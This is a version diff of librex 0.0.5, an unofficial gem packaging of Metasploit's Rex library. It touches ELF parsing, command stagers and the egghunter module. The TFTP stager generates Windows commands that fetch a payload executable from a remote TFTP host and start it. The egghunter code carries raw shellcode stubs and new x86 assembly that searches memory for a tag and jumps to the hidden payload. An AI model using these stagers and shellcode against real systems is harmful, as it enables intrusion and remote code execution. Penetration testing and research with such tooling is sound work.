librex 0.0.4 → 0.0.5

data/README.md

@@ -0,0 +1,12 @@
+REX
+===
+
+A non-official re-packaging of the Rex library as a gem for easy of usage of the Metasploit REX framework in a non Metasploit application. I received permission from HDM to create this package.
+
+Currently based on:
+SVN Revision: 10547
+
+Credits
+===
+The Metasploit development team <http://www.metasploit.com>
+

data/lib/rex/elfparsey/elfbase.rb

@@ -1,6 +1,6 @@
 #!/usr/bin/env ruby
 
-# $Id: elfbase.rb 6615 2009-06-03 01:39:54Z hdm $
+# $Id: elfbase.rb 9937 2010-07-27 18:03:18Z jduck $
 
 require 'rex/struct2'
 
@@ -192,7 +192,7 @@ class ElfBase
 
 	# Program Header
 
-	PROGRAM_HEADER_SIZE = 36
+	PROGRAM_HEADER_SIZE = 32
 
 	ELF32_PHDR_LSB = Rex::Struct2::CStructTemplate.new(
 		[ 'uint32v', 'p_type',   0 ],
@@ -200,7 +200,6 @@ class ElfBase
 		[ 'uint32v', 'p_vaddr',  0 ],
 		[ 'uint32v', 'p_paddr',  0 ],
 		[ 'uint32v', 'p_filesz', 0 ],
-		[ 'uint32v', 'p_filesz', 0 ],
 		[ 'uint32v', 'p_memsz',  0 ],
 		[ 'uint32v', 'p_flags',  0 ],
 		[ 'uint32v', 'p_align',  0 ]
@@ -212,7 +211,6 @@ class ElfBase
 		[ 'uint32n', 'p_vaddr',  0 ],
 		[ 'uint32n', 'p_paddr',  0 ],
 		[ 'uint32n', 'p_filesz', 0 ],
-		[ 'uint32n', 'p_filesz', 0 ],
 		[ 'uint32n', 'p_memsz',  0 ],
 		[ 'uint32n', 'p_flags',  0 ],
 		[ 'uint32n', 'p_align',  0 ]

data/lib/rex/elfscan/search.rb

@@ -1,6 +1,6 @@
 #!/usr/bin/env ruby
 
-# $Id: search.rb 5413 2008-02-13 02:43:56Z ramon $
+# $Id: search.rb 10173 2010-08-27 21:26:59Z jduck $
 
 module Rex
 module ElfScan
@@ -8,29 +8,29 @@ module Search
 
 	class DumpRVA
 		attr_accessor :elf
-		
+
 		def initialize(elf)
 			self.elf = elf
 		end
-		
+
 		def config(param)
 			@address = param['args']
 		end
-		
+
 		def scan(param)
 			config(param)
-			
+
 			$stdout.puts "[#{param['file']}]"
-			
+
 			# Adjust based on -A and -B flags
 			pre = param['before'] || 0
 			suf = param['after']  || 16
-			
+
 			@address -= pre
 			@address = 0 if (@address < 0 || ! @address)
 			buf = elf.read_rva(@address, suf)
 			$stdout.puts elf.ptr_s(@address) + " " + buf.unpack("H*")[0]
-		end	
+		end
 	end
 
 	class DumpOffset < DumpRVA
@@ -40,7 +40,7 @@ module Search
 			rescue Rex::ElfParsey::BoundsError
 			end
 		end
-	end	
+	end
+end
 end
 end
-end

data/lib/rex/exploitation/cmdstager/base.rb

@@ -127,6 +127,11 @@ class CmdStagerBase
 		new_cmds = []
 		line = ''
 		concat = cmd_concat_operator
+
+		# We cannot compress commands if there is no way to combine commands on
+		# a single line.
+		return cmds if not concat
+
 		cmds.each { |cmd|
 
 			# If this command will fit, concat it and move on.
@@ -162,7 +167,7 @@ class CmdStagerBase
 	# Can be overriden.  For exmaple, use for unix use ";" instead
 	#
 	def cmd_concat_operator
-		""
+		nil
 	end
 
 end

data/lib/rex/exploitation/cmdstager/tftp.rb

@@ -1,5 +1,5 @@
 ##
-# $Id: tftp.rb 9375 2010-05-26 22:39:56Z jduck $
+# $Id: tftp.rb 10169 2010-08-27 17:23:47Z jduck $
 ##
 
 require 'rex/text'
@@ -30,7 +30,7 @@ class CmdStagerTFTP < CmdStagerBase
 	def initialize(exe)
 		super
 
-		@var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
+		@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
 	end
 
 
@@ -40,10 +40,10 @@ class CmdStagerTFTP < CmdStagerBase
 	#
 	def compress_commands(cmds, opts)
 		# Initiate the download
-		cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @var_payload_out}"
+		cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
 
 		# Make it all happen
-		cmds << "start #{@tempdir + @var_payload_out}"
+		cmds << "start #{@tempdir + @payload_exe}"
 
 		# Clean up after unless requested not to..
 		if (not opts[:nodelete])
@@ -53,11 +53,11 @@ class CmdStagerTFTP < CmdStagerBase
 		super
 	end
 
-	# Windows uses & to concat strings
-	def cmd_concat_operator
-		" & "
-	end
+	# NOTE: We don't use a concatenation operator here since we only have a couple commands.
+	# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
+	# the start command being issued separately so that it can ignore it :)
 
+	attr_reader :payload_exe
 end
 end
 end

data/lib/rex/exploitation/egghunter.rb

@@ -12,6 +12,13 @@ module Exploitation
 # overflow occurs, but it's possible to stick a larger payload somewhere else
 # in memory that may not be directly predictable.
 #
+# Original implementation by skape
+# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
+#
+# Checksum checking implemented by dijital1/corelanc0d3r
+# Checksum code merged to Egghunter by jduck
+# Conversion to use Metasm by jduck
+#
 ###
 class Egghunter
 
@@ -29,21 +36,51 @@ class Egghunter
 			#
 			# The egg hunter stub for win/x86.
 			#
-			def hunter_stub
-				{
-					'Stub' => 
-						"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02" +
-						"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" +
-						"\x41\x41\x41\x41" +
-						"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7",
-					'EggSize'   => 4,
-					'EggOffset' => 0x12
-				}
+			def hunter_stub(payload, badchars = '', opts = {})
+
+				raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
+				marker = "0x%x" % opts[:eggtag].unpack('V').first
+
+				checksum = checksum_stub(payload, badchars, opts)
+
+				assembly = <<EOS
+check_readable:
+	or dx,0xfff
+next_addr:
+	inc edx
+	push edx
+	push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
+	pop eax
+	int 0x2e
+	cmp al,5
+	pop edx
+	je check_readable
+check_for_tag:
+	; check that the tag matches once
+	mov eax,#{marker}
+	mov edi,edx
+	scasd
+	jne next_addr
+	; it must match a second time too
+	scasd
+	jne next_addr
+
+	; check the checksum if the feature is enabled
+#{checksum}
+
+	; jump to the payload
+	jmp edi
+EOS
+
+				assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
+
+				# return the stub
+				assembled_code
 			end
-	
+
 		end
 	end
-	
+
 	###
 	#
 	# Linux-based egghunters
@@ -58,16 +95,46 @@ class Egghunter
 			#
 			# The egg hunter stub for linux/x86.
 			#
-			def hunter_stub
-				{
-					'Stub' => 
-						"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
-						"\x3c\xf2\x74\xf1\xb8" +
-						"\x41\x41\x41\x41" +
-						"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7",
-					'EggSize'   => 4,
-					'EggOffset' => 0x11
-				}
+			def hunter_stub(payload, badchars = '', opts = {})
+
+				raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
+				marker = "0x%x" % opts[:eggtag].unpack('V').first
+
+				checksum = checksum_stub(payload, badchars, opts)
+
+				assembly = <<EOS
+	cld
+check_readable:
+	or cx,0xfff
+next_addr:
+	inc ecx
+	push 0x43   ; use 'sigaction' syscall
+	pop eax
+	int 0x80
+	cmp al,0xf2
+	je check_readable
+
+check_for_tag:
+	; check that the tag matches once
+	mov eax,#{marker}
+	mov edi,ecx
+	scasd
+	jne next_addr
+	; it must match a second time too
+	scasd
+	jne next_addr
+
+	; check the checksum if the feature is enabled
+#{checksum}
+
+	; jump to the payload
+	jmp edi
+EOS
+
+				assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
+
+				# return the stub
+				assembled_code
 			end
 
 		end
@@ -88,7 +155,7 @@ class Egghunter
 		Egghunter.constants.each { |c|
 			mod = self.class.const_get(c)
 
-			next if ((!mod.kind_of?(::Module)) or 
+			next if ((!mod.kind_of?(::Module)) or
 			         (!mod.const_defined?('Alias')))
 
 			if (platform =~ /#{mod.const_get('Alias')}/i)
@@ -98,7 +165,7 @@ class Egghunter
 					mod.constants.each { |a|
 						amod = mod.const_get(a)
 
-						next if ((!amod.kind_of?(::Module)) or 
+						next if ((!amod.kind_of?(::Module)) or
 						         (!amod.const_defined?('Alias')))
 
 						if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
@@ -115,17 +182,29 @@ class Egghunter
 	#
 	# This method generates an egghunter using the derived hunter stub.
 	#
-	def generate(badchars = '')
-		return nil if ((opts = hunter_stub) == nil)
-
-		stub  = opts['Stub'].dup
-		esize = opts['EggSize']
-		eoff  = opts['EggOffset']
-		egg   = Rex::Text.rand_text(esize, badchars)
-
-		stub[eoff, esize] = egg
+	def generate(payload, badchars = '', opts = {})
+		# set defaults if options are missing
+
+		# NOTE: there is no guarantee this won't exist in memory, even when doubled.
+		# To address this, use the checksum feature :)
+		opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
+
+		# Generate the hunter_stub portion
+		return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
+
+		# Generate the marker bits to be prefixed to the real payload
+		egg = ''
+		egg << opts[:eggtag] * 2
+		egg << payload
+		if opts[:checksum]
+			cksum = 0
+			payload.each_byte { |b|
+				cksum += b
+			}
+			egg << [cksum & 0xff].pack('C')
+		end
 
-		return [ stub, egg ]
+		return [ hunter, egg ]
 	end
 
 protected
@@ -134,10 +213,38 @@ protected
 	# Stub method that is meant to be overridden.  It returns the raw stub that
 	# should be used as the egghunter.
 	#
-	def hunter_stub
+	def hunter_stub(payload, badchars = '', opts = {})
+	end
+
+	def checksum_stub(payload, badchars = '', opts = {})
+		return '' if not opts[:checksum]
+
+		if payload.length < 0x100
+			cmp_reg = "cl"
+		elsif payload.length < 0x10000
+			cmp_reg = "cx"
+		else
+			raise RuntimeError, "Payload too big!"
+		end
+		egg_size = "0x%x" % payload.length
+
+		checksum = <<EOS
+	push ecx
+	xor ecx,ecx
+	xor eax,eax
+calc_chksum_loop:
+	add al,byte [edi+ecx]
+	inc ecx
+	cmp #{cmp_reg},#{egg_size}
+	jnz calc_chksum_loop
+test_chksum:
+	cmp al,byte [edi+ecx]
+	pop ecx
+	jnz next_addr
+EOS
 	end
 
 end
 
 end
-end
+end